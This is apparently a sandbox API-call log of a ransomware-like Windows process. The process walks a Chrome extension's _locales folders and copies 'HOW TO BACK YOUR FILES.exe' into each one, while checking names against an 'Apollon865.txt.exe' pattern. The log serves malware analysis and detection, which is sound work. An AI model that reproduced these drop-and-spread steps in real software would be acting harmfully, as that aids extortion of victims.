	[0049.847] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.852] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c93d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c93d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.852] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.852] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.852] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl"
	[0049.852] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl"
	[0049.852] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.852] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c93d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c93d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.856] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.856] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms"
	[0049.856] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms"
	[0049.856] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.857] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.861] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.861] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c93d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c93d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.861] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.861] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.861] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv"
	[0049.862] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv"
	[0049.862] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.862] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.865] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.865] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35cb9e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35cb9e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.866] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.866] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.866] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt"
	[0049.866] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt"
	[0049.866] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.866] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.873] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.873] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35cb9e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35cb9e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.873] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.873] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.873] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko"
	[0049.873] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko"
	[0049.873] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.877] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.877] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35cdffd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35cdffd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.878] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.878] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.878] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja"
	[0049.878] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja"
	[0049.878] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.878] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.882] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.882] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35cdffd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35cdffd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.883] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.883] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.883] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it"
	[0049.883] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it"
	[0049.883] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.887] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.887] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35cdffd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35cdffd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.887] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.887] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.887] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id"
	[0049.887] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id"
	[0049.887] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.887] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.892] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35cdffd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35cdffd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.892] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.892] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.892] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu"
	[0049.892] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu"
